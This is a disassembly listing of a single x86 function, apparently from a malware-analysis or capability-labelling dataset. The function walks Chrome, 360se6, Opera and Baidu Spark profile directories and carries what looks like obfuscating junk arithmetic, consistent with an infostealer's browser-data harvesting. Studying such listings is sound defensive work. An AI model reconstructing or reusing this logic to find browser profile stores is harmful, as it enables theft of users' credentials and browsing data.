Function at 0x45adbe
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x4e5a6f
call fcn.004c2a93
mov esi, ecx
mov dword [ebp - 0x54], esi
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
push 0x500180
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.00403865
test eax, eax
jne 0x45ae4c
push 0xf
pop esi
push str.C:ChromeUserData_
lea ecx, [ebp - 0x38]
call fcn.004017e3
push esi
push eax
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 4], 1
call fcn.004511f4
add esp, 0xc
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.0040bb2f
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 4], bl
lea ecx, [ecx - 0x10]
call fcn.00404fef
inc esi
cmp esi, 0x32
jl 0x45adfc
jmp 0x45b04b
push str.360se6
mov ecx, edi
call fcn.00403865
test eax, eax
je 0x45af15
push str.Opera_Software
mov ecx, edi
call fcn.00403865
test eax, eax
je 0x45af15
push str.Spark
mov ecx, edi
call fcn.00403865
test eax, eax
je 0x45af15
cmp byte [esi + 0x90], 0
je 0x45aea3
lea eax, [ebp - 0x4c]
push eax
call fcn.0040ae5d
pop ecx
test al, al
jne 0x45b04b
lea eax, [ebp - 0x38]
push eax
call fcn.00409467
pop ecx
mov eax, dword [ebp - 0x38]
mov byte [ebp - 4], 5
cmp dword [eax - 0xc], 0
jne 0x45b031
call fcn.00467bb7
test al, al
jne 0x45aefd
mov ecx, dword [0x541ad4]
mov edx, ebx
jmp 0x45aee4
mov eax, ecx
or eax, 0xffffff37
add ecx, eax
mov eax, ecx
imul eax, ecx
inc edx
cmp edx, eax
jg 0x45aef7
mov eax, ecx
and eax, 0x8000003f
jns 0x45aef2
dec eax
or eax, 0xffffffc0
inc eax
cmp eax, 0x50
jne 0x45aed1
mov dword [0x541ad4], edx
push str.get_local_app_data_folder
lea ecx, [ebp - 0x3c]
call fcn.00401824
mov byte [ebp - 4], 6
mov ecx, esi
jmp 0x45b00d
mov ecx, dword [0x541ad4]
mov eax, ecx
imul eax, ecx
cdq
mov dword [ebp - 0x3c], 0xd
idiv dword [ebp - 0x3c]
mov eax, dword [0x5431bc]
mov dword [ebp - 0x3c], 0x64831bac
cmp edx, 7
cmove eax, dword [ebp - 0x3c]
mov dword [0x5431bc], eax
cmp byte [esi + 0x90], 0
je 0x45af64
lea eax, [ebp - 0x4c]
push eax
call fcn.0040ae1c
pop ecx
test al, al
jne 0x45b04b
mov ecx, dword [0x541ad4]
lea eax, [ecx + 1]
imul eax, ecx
push 0x17
cdq
pop esi
idiv esi
cmp edx, 0x16
jne 0x45afa1
mov esi, ebx
push 8
mov edx, esi
pop edi
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor edx, eax
dec edi
jne 0x45af7c
add ecx, edx
inc esi
cmp esi, 0x100
jl 0x45af77
mov edi, dword [ebp - 0x38]
mov dword [0x541ad4], ecx
lea eax, [ebp - 0x38]
push eax
call fcn.0040934d
pop ecx
mov eax, dword [ebp - 0x38]
mov byte [ebp - 4], 3
cmp dword [eax - 0xc], 0
jne 0x45b031
mov esi, dword [0x541ad4]
push 0x12
lea ecx, [esi + 2]
lea eax, [esi + 1]
imul eax, ecx
imul eax, esi
cdq
pop ecx
idiv ecx
cmp edx, 7
jne 0x45afe2
mov edi, ebx
mov ebx, esi
inc edi
dec ebx
cmp edi, 9
jb 0x45afd9
xor ebx, ebx
call fcn.00467cae
test al, al
jne 0x45aff9
push 1
test esi, esi
pop eax
cmove esi, eax
mov dword [0x541ad4], esi
push str.get_app_data_folder
lea ecx, [ebp - 0x3c]
call fcn.00401824
mov ecx, dword [ebp - 0x54]
mov byte [ebp - 4], 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00406042
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.00404fef
jmp 0x45b25b
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00408509
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 4], bl
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x4c]
mov byte [ebp - 0x3d], bl
mov esi, ebx
mov dword [ebp - 0x3c], ebx
test eax, 0xfffffffc
jle 0x45b258
push 0x5401f0
lea ecx, [ebp - 0x38]
call fcn.00401718
mov ecx, dword [ebp - 0x50]
push 0x500180
mov byte [ebp - 4], 7
call fcn.00403865
test eax, eax
jne 0x45b09a
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x38]
lea eax, [eax + esi*4]
push eax
call fcn.00401ced
jmp 0x45b226
push str.Spark
mov ecx, edi
call fcn.00403865
test eax, eax
mov eax, dword [ebp - 0x4c]
lea eax, [eax + esi*4]
jne 0x45b0e3
push str.BaiduSparkprofile
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00401e6a
add esp, 0xc
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 8
call fcn.00401ced
mov ecx, dword [ebp - 0x58]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
jmp 0x45b226
push 0x4f6850
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.00401e6a
add esp, 0xc
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call fcn.00401ced
mov ecx, dword [ebp - 0x60]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x45b14c
push 0x4f6850
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.00401e6a
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x38]
push dword [eax - 0xc]
mov byte [ebp - 4], 0xa
push eax
call fcn.00401f75
mov ecx, dword [ebp - 0x68]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x50]
mov eax, dword [ecx]
cmp dword [eax - 0xc], 0
je 0x45b18a
push 0x4f6850
push ecx
lea eax, [ebp - 0x64]
push eax
call fcn.00401e6a
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x38]
push dword [eax - 0xc]
mov byte [ebp - 4], 0xb
push eax
call fcn.00401f75
mov ecx, dword [ebp - 0x64]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
push str.Opera_Software
mov ecx, edi
call fcn.00403865
lea ecx, [ebp - 0x38]
test eax, eax
je 0x45b1a9
push str.User_Data
call fcn.00401f4c
jmp 0x45b226
mov eax, dword [ebp - 0x38]
mov eax, dword [eax - 0xc]
dec eax
push eax
call fcn.00403b51
cmp ax, 0x5c
jne 0x45b1ec
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x38]
mov eax, dword [eax - 0xc]
dec eax
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.00404c81
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xc
call fcn.00401ced
mov ecx, dword [ebp - 0x5c]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov esi, dword [0x541ad4]
push 0x18
lea ecx, [esi + 2]
lea eax, [esi + 1]
imul eax, ecx
imul eax, esi
cdq
pop ecx
idiv ecx
xor eax, eax
inc eax
cmp edx, eax
jne 0x45b223
mov ecx, eax
cmp esi, eax
jle 0x45b21d
mov eax, esi
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, esi
jl 0x45b211
mov dword [0x541ad4], ecx
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x54]
lea eax, [ebp - 0x38]
push eax
call fcn.0045b26d
mov ecx, dword [ebp - 0x38]
or byte [ebp - 0x3d], al
lea ecx, [ecx - 0x10]
mov byte [ebp - 4], bl
call fcn.00404fef
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x4c]
inc esi
sar eax, 2
mov dword [ebp - 0x3c], esi
cmp esi, eax
jl 0x45b064
mov bl, byte [ebp - 0x3d]
lea ecx, [ebp - 0x4c]
call fcn.00406958
mov al, bl
call fcn.004c2a42
ret 8